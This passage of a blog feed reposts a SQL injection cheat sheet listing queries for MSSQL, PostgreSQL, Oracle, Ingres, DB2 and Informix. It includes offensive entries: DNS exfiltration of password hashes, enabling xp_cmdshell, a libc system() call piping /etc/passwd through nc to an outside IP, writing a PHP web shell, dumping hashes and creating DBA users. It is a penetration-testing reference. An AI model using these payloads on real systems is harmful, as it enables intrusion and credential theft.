Quotes <br /></td><td>SELECT char(65)+char(66) -- returns AB<br /></td></tr><tr><td>Time<br />
 Delay&nbsp; <br /></td><td>&nbsp;WAITFOR DELAY '0:0:5' -- pause for 5 seconds </td></tr><tr><td>Make<br />
 DNS Requests</td><td><p>   declare @host varchar(800); select @host = <br />
name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + <br />
@host + '\c$\boot.ini'''); -- nonpriv, works on 2000  </p> <p>   declare<br />
 @host varchar(800); select @host = name + '-' + <br />
master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' <br />
from sys.sql_logins; exec('xp_fileexist ''\\' + @host + <br />
'\c$\boot.ini'''); -- priv, works on 2005<br /> </p><p>-- NB: <br />
Concatenation is not allowed in calls to these SPs, hence why we have to<br />
 use @host.&nbsp; Messy but necessary. <br />-- Also check out theDNS tunnel <br />
feature of <a href="http://sqlninja.sourceforge.net/sqlninja-howto.html">sqlninja</a><br />
 </p></td></tr><tr><td>Command Execution</td><td><p>EXEC xp_cmdshell <br />
'net user'; -- priv</p><p>On MSSQL 2005 you may need to reactivate <br />
xp_cmdshell first as it's disabled by default:<br />EXEC sp_configure <br />
'show advanced options', 1; -- priv<br />RECONFIGURE; -- priv<br />EXEC <br />
sp_configure 'xp_cmdshell', 1; -- priv<br />RECONFIGURE; -- priv </p></td></tr><tr><td>Local<br />
 File Access<br /></td><td>CREATE TABLE mydata (line varchar(8000));<br />BULK
 INSERT mydata FROM 'c:\boot.ini';<br />DROP TABLE mydata;<br /></td></tr><tr><td>Hostname,<br />
 IP Address</td><td>SELECT HOST_NAME() <br /></td></tr><tr><td>Create <br />
Users</td><td>EXEC <a href="http://msdn2.microsoft.com/en-us/library/ms173768.aspx">sp_addlogin</a><br />
  'user', 'pass'; -- priv<br /></td></tr><tr><td>Drop Users</td><td>EXEC <a href="http://msdn2.microsoft.com/en-us/library/ms189767.aspx">sp_droplogin</a><br />
  'user'; -- priv<br /></td></tr><tr><td>Make User DBA</td><td>EXEC <a href="http://msdn2.microsoft.com/en-us/library/ms186320.aspx">master.dbo.sp_addsrvrolemember</a><br />
  'user', 'sysadmin; -- priv<br /></td></tr><tr><td>Location of DB files<br /></td><td>TODO<br /></td></tr><tr><td>Default/System<br />
 Databases<br /></td><td>northwind<br />model<br />msdb<br />pubs<br />tempdb </td></tr></tbody></table><p><br />PostgreSQL:<br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>SELECT version() </td></tr><tr><td>Comments&nbsp;</td><td>SELECT<br />
 1; --comment<br />SELECT /*comment*/1;<br /> </td></tr><tr><td>Current User<br />
 <br /></td><td>SELECT user; <br />SELECT current_user; <br />SELECT <br />
session_user; <br />SELECT usename FROM pg_user;<br />SELECT <br />
getpgusername();<br /></td></tr><tr><td>List Users</td><td>SELECT usename <br />
FROM pg_user  <br /></td></tr><tr><td>List Password Hashes<br /></td><td>SELECT<br />
 usename, passwd FROM pg_shadow -- priv</td></tr><tr><td>Password <br />
Cracker<br /></td><td><a href="http://pentestmonkey.net/blog/cracking-postgres-hashes/">MDCrack</a><br />
  can crack PostgreSQL's MD5-based passwords.</td></tr><tr><td>List <br />
Privileges</td><td>SELECT usename, usecreatedb, usesuper, usecatupd FROM<br />
 pg_user</td></tr><tr><td>List DBA Accounts</td><td>SELECT usename FROM <br />
pg_user WHERE usesuper IS TRUE </td></tr><tr><td>Current Database&nbsp;  </td><td>SELECT<br />
 current_database() </td></tr><tr><td>List Databases </td><td>SELECT <br />
datname FROM pg_database</td></tr><tr><td>List Columns <br /></td><td>SELECT<br />
 relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, <br />
pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND <br />
(A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum&gt;0) AND (NOT <br />
A.attisdropped) AND (N.nspname ILIKE 'public') </td></tr><tr><td>List <br />
Tables </td><td>SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN <br />
pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN <br />
('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND <br />
pg_catalog.pg_table_is_visible(c.oid)</td></tr><tr><td>Find Tables From <br />
Column Name </td><td><p>If you want to list all the table names that <br />
contain a column LIKE '%password%':</p><p>SELECT DISTINCT relname FROM <br />
pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE <br />
(C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND <br />
(A.atttypid=T.oid) AND (A.attnum&gt;0) AND (NOT A.attisdropped) AND <br />
(N.nspname ILIKE 'public') AND attname LIKE '%password%';&nbsp;</p></td></tr><tr><td>Select<br />
 Nth Row</td><td>SELECT usename FROM pg_user ORDER BY usename LIMIT 1 <br />
OFFSET 0; -- rows numbered from 0<br />SELECT usename FROM pg_user ORDER 
BY usename LIMIT 1 OFFSET 1;<br /></td></tr><tr><td>Select Nth Char  <br /></td><td>SELECT<br />
 substr('abcd', 3, 1); -- returns c<br /></td></tr><tr><td>Bitwise AND&nbsp; <br /></td><td>SELECT<br />
 6 &amp; 2; -- returns 2<br />SELECT 6 &amp; 1; --returns 0<br /></td></tr><tr><td><p>ASCII<br />
 Value -&gt; Char</p></td><td>SELECT chr(65);<br /></td></tr><tr><td>Char <br />
-&gt; ASCII Value</td><td>SELECT ascii('A');<br /></td></tr><tr><td>Casting</td><td>SELECT<br />
 CAST(1 as varchar);<br />SELECT CAST('1' as int);<br /></td></tr><tr><td>String<br />
 Concatenation</td><td>SELECT 'A' || 'B'; -- returnsAB</td></tr><tr><td><p>If<br />
 Statement</p></td><td>IF statements only seem valid inside functions, <br />
so aren't much use for SQL injection.&nbsp; See CASE statement instead.</td></tr><tr><td>Case<br />
 Statement</td><td>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- <br />
returns A<br /></td></tr><tr><td>Avoiding Quotes <br /></td><td>SELECT <br />
CHR(65)||CHR(66); -- returns AB<br /></td></tr><tr><td>Time Delay&nbsp; <br /></td><td>SELECT<br />
 pg_sleep(10); -- postgres 8.2+ only<br />CREATE OR REPLACE FUNCTION 
sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT;
 SELECT sleep(10); --priv, create your own sleep function.&nbsp; Taken from <a href="http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf">here</a>
 .<br /></td></tr><tr><td>Make DNS Requests</td><td><p>Generally not <br />
possible in postgres.&nbsp; However if <a href="http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html">contrib/dblink</a><br />
  is installed (it isn't by default) it can be used to resolve hostnames<br />
 (assuming you have DBA rights):&nbsp;</p><pre>SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);</pre><p>Alternatively,<br />
 if you have DBA rights you could run an OS-level command (see below) to<br />
 resolve hostnames, e.g. "ping pentestmonkey.net".</p></td></tr><tr><td>Command<br />
 Execution</td><td><p>CREATE OR REPLACE FUNCTION system(cstring) RETURNS<br />
 int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv</p><p>SELECT<br />
 system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as <br />
postgres/pgsql OS-level user</p></td></tr><tr><td>Local File Access<br /></td><td><p>CREATE<br />
 TABLE mydata(t text);<br />COPY mydata FROM '/etc/passwd'; -- priv, can <br />
read files which are readable by postgres OS-level user<br />...' UNION <br />
ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a<br />
 time<br />...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get <br />
data back one row at a time ...<br />DROP TABLE mytest mytest;</p><p>Write<br />
 to a file:</p><p>CREATE TABLE mytable (mycol text);<br />INSERT INTO <br />
mytable(mycol) VALUES ('&lt;? pasthru($_GET[cmd]); ?&gt;');<br />COPY <br />
mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres <br />
OS-level user.&nbsp; Generally you won't be able to write to the web root, <br />
but it's always work a try. <br />-- priv user can also read/write files <br />
by <a href="http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf">mapping<br />
 libc functions</a>  </p></td></tr><tr><td>Hostname, IP Address</td><td>SELECT<br />
 inet_server_addr(); -- returns db server IP address (or null if using <br />
local connection)<br />SELECT inet_server_port(); -- returns db server IP 
address (or null if using local connection)<br /> </td></tr><tr><td>Create<br />
 Users<br /></td><td>CREATE USER test1 PASSWORD 'pass1'; -- priv<br />CREATE
 USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at 
the same time<br /></td></tr><tr><td>Drop Users<br /></td><td>DROP USER <br />
test1; -- priv<br /></td></tr><tr><td>Make User DBA<br /></td><td>ALTER USER<br />
 test1 CREATEUSER CREATEDB; -- priv<br /></td></tr><tr><td>&nbsp;Location of DB<br />
 files<br /></td><td>SELECT current_setting('data_directory'); -- priv<br />SELECT
 current_setting('hba_file'); -- priv<br /></td></tr><tr><td>Default/System<br />
 Databases<br /></td><td>template0<br />template1</td></tr></tbody></table><p><br />Oracle:<br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>SELECT banner FROM v$version WHERE banner <br />
LIKE 'Oracle%'; <br />SELECT banner FROM v$version WHERE banner LIKE 
'TNS%';<br />SELECT version FROM v$instance;<br /> </td></tr><tr><td>Comments&nbsp;</td><td>SELECT<br />
 1 FROM dual -- comment<br />-- NB: SELECT statements must have a FROM 
clause in Oracle so we have to use the dummy table name 'dual' when 
we're not actually selecting from a table.<br /></td></tr><tr><td>Current <br />
User <br /></td><td>SELECT user FROM dual <br /></td></tr><tr><td>List Users</td><td>SELECT<br />
 username FROM all_users ORDER BY username;<br />SELECT name FROM <br />
sys.user$; -- priv </td></tr><tr><td>List Password Hashes<br /></td><td>SELECT<br />
 name, password, astatus FROM sys.user$ -- priv, &lt;= 10g.&nbsp; astatus <br />
tells you if acct is locked<br />SELECT name,spare4 FROM sys.user$ -- <br />
priv, 11g </td></tr><tr><td>&nbsp;Password Cracker<br /></td><td><a href="http://www.red-database-security.com/software/checkpwd.html">checkpwd</a><br />
  will crack the DES-based hashes from Oracle 8, 9 and 10. </td></tr><tr><td>List<br />
 Privileges</td><td>SELECT * FROM session_privs; -- current privs<br />SELECT
 * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's 
privs<br /> SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT <br />
ANY DICTIONARY'; -- priv, find users with a particular priv<br />SELECT 
GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;<br /></td></tr><tr><td>List DBA<br />
 Accounts</td><td>SELECT DISTINCT grantee FROM dba_sys_privs WHERE <br />
ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles</td></tr><tr><td>Current<br />
 Database&nbsp;  </td><td>SELECT global_name FROM global_name; <br />SELECT 
name FROM v$database; <br />SELECT instance_name FROM v$instance;<br />SELECT<br />
 SYS.DATABASE_NAME FROM DUAL; </td></tr><tr><td>List Databases </td><td><p>SELECT<br />
 DISTINCT owner FROM all_tables; -- list schemas (one per user)<br />-- <br />
Also query TNS listener for other databases.&nbsp; See <a href="http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html">tnscmd</a><br />
  (services | status).  </p></td></tr><tr><td>List Columns <br /></td><td>SELECT<br />
 column_name FROM all_tab_columns WHERE table_name = 'blah'; <br />SELECT 
column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 
'foo';  <br /></td></tr><tr><td>List Tables </td><td>SELECT table_name <br />
FROM all_tables;<br />SELECT owner, table_name FROM all_tables;<br /> </td></tr><tr><td>Find<br />
 Tables From Column Name </td><td>SELECT owner, table_name FROM <br />
all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are <br />
upper case</td></tr><tr><td>Select Nth Row</td><td>SELECT username FROM <br />
(SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; <br />
-- gets 9th row (rows numbered from 1)</td></tr><tr><td>Select Nth Char <br />
 <br /></td><td> SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd <br />
character, 'c'<br /></td></tr><tr><td>Bitwise AND&nbsp; <br /></td><td>SELECT <br />
bitand(6,2) FROM dual; -- returns 2<br />SELECT bitand(6,1) FROM dual; -- <br />
returns0</td></tr><tr><td><p>ASCII Value -&gt; Char</p></td><td>SELECT <br />
chr(65) FROM dual; -- returns A<br /></td></tr><tr><td>Char -&gt; ASCII <br />
Value</td><td>SELECT ascii('A') FROM dual; -- returns 65<br /></td></tr><tr><td>Casting</td><td>SELECT<br />
 CAST(1 AS char) FROM dual;<br />SELECT CAST('1' AS int) FROM dual;</td></tr><tr><td>String<br />
 Concatenation</td><td>SELECT 'A' || 'B' FROM dual; -- returns AB</td></tr><tr><td>If<br />
 Statement</td><td>BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE <br />
dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT <br />
statements <br /></td></tr><tr><td>Case Statement</td><td>SELECT CASE WHEN<br />
 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1<br />SELECT CASE WHEN 1=2 <br />
THEN 1 ELSE 2 END FROM dual; -- returns 2</td></tr><tr><td>Avoiding <br />
Quotes <br /></td><td>SELECT chr(65) || chr(66) FROM dual; -- returns AB <br /></td></tr><tr><td>Time<br />
 Delay&nbsp; <br /></td><td>BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem <br />
to embed this in a SELECT<br />SELECT UTL_INADDR.get_host_name('10.0.0.1')
 FROM dual; -- if reverse looks are slow<br />SELECT <br />
UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if <br />
forward lookups are slow<br />SELECT UTL_HTTP.REQUEST('http://google.com')
 FROM dual; -- if outbound TCP is filtered / slow<br />-- Also see <a href="http://technet.microsoft.com/en-us/library/cc512676.aspx">Heavy <br />
Queries</a>  to create a time delay<br /></td></tr><tr><td>Make DNS <br />
Requests</td><td>SELECT UTL_INADDR.get_host_address('google.com') FROM <br />
dual;<br />SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;</td></tr><tr><td>Command<br />
 Execution</td><td><p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">Java</a>  <br />
can be used to execute commands if it's installed.</p><p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql">ExtProc</a><br />
  can sometimes be used too, though it normally failed for me. :-(<br /> </p></td></tr><tr><td>Local<br />
 File Access<br /></td><td><p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">UTL_FILE</a><br />
  can sometimes be used.&nbsp; Check that the following is non-null:<br />SELECT<br />
 value FROM v$parameter2 WHERE name = 'utl_file_dir';</p><p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">Java</a>  <br />
can be used to read and write files if it's installed (it is not <br />
available in Oracle Express).&nbsp;</p></td></tr><tr><td>Hostname, IP Address</td><td>
 SELECT UTL_INADDR.get_host_name FROM dual;<br />SELECT host_name FROM 
v$instance;<br />SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP <br />
address<br />SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- <br />
gets hostnames</td></tr><tr><td>Location of DB files<br /></td><td>SELECT <br />
name FROM V$DATAFILE;</td></tr><tr><td>Default/System Databases<br /></td><td>SYSTEM<br />SYSAUX</td></tr></tbody></table><p><br />Ingres:<br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>select <br />
dbmsinfo('_version');<br /></td></tr><tr><td>Comments&nbsp;</td><td>SELECT 123;<br />
 -- comment<br /> select 123; /* comment */ </td></tr><tr><td>Current User<br />
 <br /></td><td>select dbmsinfo('session_user');<br />select 
dbmsinfo('system_user');<br /></td></tr><tr><td>List Users</td><td>First <br />
connect to iidbdb, then:<br />select name, password from iiuser; <br /></td></tr><tr><td>Create<br />
 Users<br /></td><td>create user testuser with password = 'testuser';-- <br />
priv<br /></td></tr><tr><td>List Password Hashes<br /></td><td>First connect<br />
 to iidbdb, then:<br />select name, password from iiuser; <br /></td></tr><tr><td>List<br />
 Privileges</td><td>select dbmsinfo('db_admin');<br />select 
dbmsinfo('create_table');<br />select dbmsinfo('create_procedure');<br />select
 dbmsinfo('security_priv');<br />select dbmsinfo('select_syscat');<br />select
 dbmsinfo('db_privileges');<br />select dbmsinfo('current_priv_mask');</td></tr><tr><td>Current Database&nbsp;  </td><td>select<br />
 dbmsinfo('database');</td></tr><tr><td>List<br />
 Columns <br /></td><td>select column_name, column_datatype, table_name, <br />
table_owner from iicolumns;</td></tr><tr><td>List Tables </td><td>select<br />
 table_name, table_owner from iitables;<br />select relid, relowner, 
relloc from iirelation;<br />select relid, relowner, relloc from <br />
iirelation where relowner != '$ingres'; <br /></td></tr><tr><td>Select Nth Row</td><td><p>Astoundingly,<br />
 this <a href="http://community.ingres.com/forums/viewtopic.php?p=6050">doesn't</a><br />
 seem to be possible!&nbsp; This is as close as you can get:</p><p>select top<br />
 10 blah from table;<br />select first 10 blah form table;  </p></td></tr><tr><td>Select<br />
 Nth Char  <br /></td><td>select substr('abc', 2, 1); -- returns 'b'</td></tr><tr><td>Bitwise<br />
 AND&nbsp; <br /></td><td><p>The function "bit_and" exists, but seems hard to <br />
use.&nbsp; Here's an<br />example of ANDing 3 and 5 together.&nbsp; The result is a <br />
"byte" type<br />with value \001:</p><p>select substr(bit_and(cast(3 as <br />
byte), cast(5 as byte)),1,1); </p></td></tr><tr><td>Casting</td><td>select<br />
 cast(123 as varchar);<br />select cast('123' as integer);</td></tr><tr><td>String<br />
 Concatenation</td><td>select 'abc' || 'def';</td></tr><tr><td>Time Delay&nbsp; <br /></td><td><p>???</p><p>See<br />
 <a href="http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx">Heavy<br />
 Queries</a>  article for some ideas. </p></td></tr><tr><td>Installing Locally<br /></td><td>The<br />
 Ingres database can be downloaded for free from <a href="http://esd.ingres.com/">http://esd.ingres.com/</a><br />A pre-built 
Linux-based Ingres Database Server can be download from <a href="http://www.vmware.com/appliances/directory/832">http://www.vmware.com/appliances/directory/832</a><br /></td></tr><tr><td>Database<br />
 Client<br /></td><td>TODO<br />There is a client called "sql" which can be <br />
used for local connections (at least) in the&nbsp; database server package <br />
above. </td></tr><tr><td>Logging in from command line<br /></td><td>$ su <br />
-&nbsp; ingres<br />$ sql iidbdb<br />* select dbmsinfo('_version'); \go<br /></td></tr></tbody></table><p><br />The<br />
 following areas are interesting enough to include on this page, but I <br />
haven't researched them for other databases:</p><table border="1"><tbody><tr><td><strong>Description</strong></td><td><strong>SQL<br />
 / Comments&nbsp;</strong></td></tr><tr><td>&nbsp;Batching Queries Allowed?<br /></td><td><p>Not<br />
 via DBI in PERL.&nbsp; Subsequent statements seem to get ignored:<br />select <br />
blah from table where foo = 1; select ... doesn't matter this is <br />
ignored.&nbsp;</p></td></tr>      <tr><td>&nbsp;FROM clause mandated in SELECTs?</td><td><p>No.&nbsp;<br />
 You don't need to select form "dual" or anything.&nbsp; The following is <br />
legal:<br />select 1;&nbsp;</p></td></tr><tr><td>&nbsp;UNION supported<br /></td><td><p>Yes.&nbsp;<br />
 Nothing tricky here.&nbsp; The following is legal:<br />select 1 union select <br />
2;&nbsp;</p></td></tr><tr><td>&nbsp;Enumerate Tables Privs<br /></td><td>select <br />
table_name, permit_user, permit_type from iiaccess;</td></tr><tr><td>&nbsp;Length<br />
 of a string</td><td>select length('abc'); -- returns 3<br /></td></tr><tr><td>&nbsp;Roles<br />
 and passwords<br /></td><td><p>First you need to connect to iidbdb, then:<br />
 <br />select roleid, rolepass from iirole; </p></td></tr><tr><td>List <br />
Database Procedures<br /></td><td><p>First you need to connect to iidbdb, <br />
then:<br />select dbp_name,&nbsp; dbp_owner from iiprocedure;</p></td></tr><tr><td>Create<br />
 Users + Granting Privs</td><td><p>First you need to connect to iidbdb, <br />
then:<br />create user pm with password = 'password';<br />grant all on <br />
current installation to pm;&nbsp;</p></td></tr></tbody></table><p><br />DB2:<br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>select versionnumber, version_timestamp from<br />
 sysibm.sysversions;</td></tr><tr><td>Comments&nbsp;</td><td>select blah from<br />
 foo; -- comment like this</td></tr><tr><td>Current User <br /></td><td>select<br />
 user from sysibm.sysdummy1;<br />select session_user from 
sysibm.sysdummy1;<br />select system_user from sysibm.sysdummy1;<br /></td></tr><tr><td>List<br />
 Users</td><td><p>N/A (I think DB2 uses OS-level user accounts for <br />
authentication.) </p><p>Database authorities (like roles, I think) can <br />
be listed like this:<br />select grantee from syscat.dbauth;</p></td></tr><tr><td>List<br />
 Password Hashes<br /></td><td>N/A (I think DB2 uses OS-level user <br />
accounts for authentication.)</td></tr><tr><td>List Privileges</td><td>select<br />
 * from syscat.tabauth; -- privs on tables<br />select * from 
syscat.dbauth where grantee = current user;<br />select * from <br />
syscat.tabauth where grantee = current user;<br /></td></tr><tr><td>Current Database&nbsp;  </td><td>select<br />
 current server from sysibm.sysdummy1;</td></tr><tr><td>List Databases </td><td>SELECT<br />
 schemaname FROM syscat.schemata;</td></tr><tr><td>List Columns <br /></td><td>select<br />
 name, tbname, coltype from sysibm.syscolumns;</td></tr><tr><td>List <br />
Tables </td><td>select name from sysibm.systables;</td></tr><tr><td>Select Nth Row</td><td>select<br />
 name from (SELECT name FROM sysibm.systables order by <br /> name fetch <br />
first N+M-1 rows only) sq order by name desc fetch first N rows only;</td></tr><tr><td>Select<br />
 Nth Char  <br /></td><td>SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;&nbsp;<br />
 -- returns b</td></tr><tr><td>Bitwise AND&nbsp; <br /></td><td><a href="http://www.tar.hu/sqlbible/sqlbible0084.html">This page</a>  seems<br />
 to indicate that DB2 has no support for bitwise operators!</td></tr><tr><td><p>ASCII<br />
 Value -&gt; Char</p></td><td>select chr(65) from sysibm.sysdummy1; -- <br />
returns 'A'</td></tr><tr><td>Char -&gt; ASCII Value</td><td>select <br />
ascii('A') from sysibm.sysdummy1; -- returns 65</td></tr><tr><td>Casting</td><td>SELECT<br />
 cast('123' as integer) FROM sysibm.sysdummy1;<br />SELECT cast(1 as char)<br />
 FROM sysibm.sysdummy1;</td></tr><tr><td>String Concatenation</td><td>SELECT<br />
 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'<br />select<br />
 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'</td></tr></tbody></table><p><br />Informix:<br /><br /></p><table border="1"><tbody><tr><td>Version<br /></td><td>SELECT DBINFO('version', 'full') FROM <br />
systables WHERE tabid = 1;<br />SELECT DBINFO('version', 'server-type') 
FROM systables WHERE tabid = 1;<br />SELECT DBINFO('version', 'major'), <br />
DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables <br />
WHERE tabid = 1;<br />SELECT DBINFO('version', 'os') FROM systables WHERE 
tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app 
running on 64-bit Unix, F=64-bit app running on 64-bit unix<br /></td></tr><tr><td>Comments&nbsp;</td><td>select<br />
 1 FROM systables WHERE tabid = 1; -- comment<br /></td></tr><tr><td>Current<br />
 User <br /></td><td><p>SELECT USER FROM systables WHERE tabid = 1;<br />select<br />
 CURRENT_ROLE FROM systables WHERE tabid = 1;</p></td></tr><tr><td>List <br />
Users</td><td>select username, usertype, password from sysusers;<br /></td></tr><tr><td>List Privileges</td><td>select<br />
 tabname, grantor, grantee, tabauth FROM systabauth join systables on <br />
systables.tabid = systabauth.tabid; -- which tables are accessible by <br />
which users<br />select procname, owner, grantor, grantee from sysprocauth
 join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- 
which procedures are accessible by which users<br /></td></tr><tr><td>Current Database&nbsp;  </td><td>SELECT<br />
 DBSERVERNAME FROM systables where tabid = 1; -- server name<br /></td></tr><tr><td>List<br />
 Databases </td><td>select name, owner from sysdatabases;<br /></td></tr><tr><td>List<br />
 Columns <br /></td><td>select tabname, colname, owner, coltype FROM <br />
syscolumns join systables on syscolumns.tabid = systables.tabid;<br /></td></tr><tr><td>List<br />
 Tables </td><td>select tabname, owner FROM systables;<br />select 
tabname, viewtext FROM sysviews&nbsp; join systables on systables.tabid = 
sysviews.tabid;<br /></td></tr><tr><td>List Stored Procedures<br /></td><td>select<br />
 procname, owner FROM sysprocedures;<br /></td></tr><tr><td>Find Tables <br />
From Column Name </td><td>select tabname, colname, owner, coltype FROM <br />
syscolumns join systables on syscolumns.tabid = systables.tabid where <br />
colname like '%pass%'; </td></tr><tr><td>Select Nth Row</td><td>select <br />
first 1 tabid from (select first 10 tabid from systables order by tabid)<br />
 as sq order by tabid desc; -- selects the 10th row</td></tr><tr><td>Select<br />
 Nth Char  <br /></td><td>SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM <br />
systables where tabid = 1; -- returns 'C'<br /></td></tr><tr><td>Bitwise <br />
AND&nbsp; <br /></td><td>select bitand(6, 1) from systables where tabid = 1; --<br />
 returns 0<br />select bitand(6, 2) from systables where tabid = 1; -- 
returns 2<br /></td></tr><tr><td>Char<br />
 -&gt; ASCII Value</td><td>select ascii('A') from systables where tabid =<br />
 1;<br /></td></tr><tr><td>Casting</td><td>select cast('123' as integer) <br />
from systables where tabid = 1;<br />select cast(1 as char) from systables
 where tabid = 1;<br /></td></tr><tr><td>String Concatenation</td><td>SELECT<br />
 'A' || 'B' FROM systables where tabid = 1; -- returns 'AB'<br />SELECT 
concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'<br /></td></tr><tr><td>String<br />
 Length<br /></td><td>SELECT tabname, length(tabname), <br />
char_length(tabname), octet_length(tabname) from systables; </td></tr><tr><td>Case Statement</td><td>select<br />
 tabid, case when tabid&gt;10 then "High" else 'Low' end from systables;<br /></td></tr><tr><td>Hostname, IP Address</td><td>SELECT<br />
 DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname<br /> </td></tr><tr><td>Default/System <br />
Databases<br /></td><td>These are the system databases:<br />sysmaster<br />sysadmin*<br />sysuser*<br />sysutils*<br /><br />*<br />
 = don't seem to contain anything / don't allow reading<br /></td></tr><tr><td>Installing<br />
 Locally<br /></td><td><p>You can download <a href="http://www.ibm.com/developerworks/downloads/im/dsexp/?S_TACT=105AGX11&amp;S_CMP=LP">Informix<br />
 Dynamic Server Express Edition 11.5 Trial</a>  for Linux and Windows.</p></td></tr><tr><td>Database<br />
 Client<br /></td><td>There's a <a href="http://www14.software.ibm.com/webapp/download/search.jsp?rs=ifxdl">database<br />
 client SDK</a>  available, but I couldn't get the demo client working.<br />I<br />
 used <a href="http://squirrel-sql.sourceforge.net/">SQuirreL SQL Client<br />
 Version 2.6.8</a> after installing the <a href="http://www14.software.ibm.com/webapp/download/search.jsp?go=y&amp;rs=ifxjdbc">Informix<br />
 JDBC drivers</a>  ("emerge dev-java/jdbc-informix" on Gentoo).</td></tr><tr><td>Logging<br />
 in from command line<br /></td><td><p>If you get local admin rights on a <br />
Windows box and have a GUI logon:</p><ul><li>Click: Start | All Programs<br />
 | IBM Informix Dynamic Server 11.50 | someservername.&nbsp; This will give <br />
you a command prompt with various Environment variables set properly.</li><li>Run<br />
 dbaccess.exe from your command prompt.&nbsp; This will bring up a text-based<br />
 GUI that allows you to browse databases.<br /></li></ul><p>The following <br />
were set on my test system.&nbsp; This may help if you get command line <br />
access, but can't get a GUI - you'll need to change "testservername": </p><pre>set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50&lt;br /&gt;set INFORMIXSERVER=testservername&lt;br /&gt;set ONCONFIG=ONCONFIG.testservername&lt;br /&gt;set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib&lt;br /&gt;set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;&lt;br /&gt;set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp&lt;br /&gt;set CLIENT_LOCALE=EN_US.CP1252&lt;br /&gt;set DB_LOCALE=EN_US.8859-1&lt;br /&gt;set SERVER_LOCALE=EN_US.CP1252&lt;br /&gt;set DBLANG=EN_US.CP1252&lt;br /&gt;mode con codepage select=1252&lt;br /&gt;</pre></td></tr><tr><td><pre>Identifying on the network</pre></td><td><p>My<br />
 default installation listened on two TCP ports: 9088 and 9099.&nbsp; When I <br />
created a new "server name", this listened on 1526/TCP by default.&nbsp; Nmap<br />
 4.76 didn't identify these ports as Informix:</p>$ sudo nmap -sS -sV <br />
10.0.0.1 -p- -v --version-all<br />...<br />1526/tcp open&nbsp; pdap-np?<br />9088/tcp
 open&nbsp; unknown<br />9089/tcp open&nbsp; unknown<br />...<br />TODO How would we <br />
identify Informix listening on the network?</td></tr></tbody></table><p><br /></p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2010/07/sql-cheat-sheets#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=39</wfw:commentRss>
		</item>
				<item>
			<title>Presentation: 9 ways to live better, longer, happier</title>
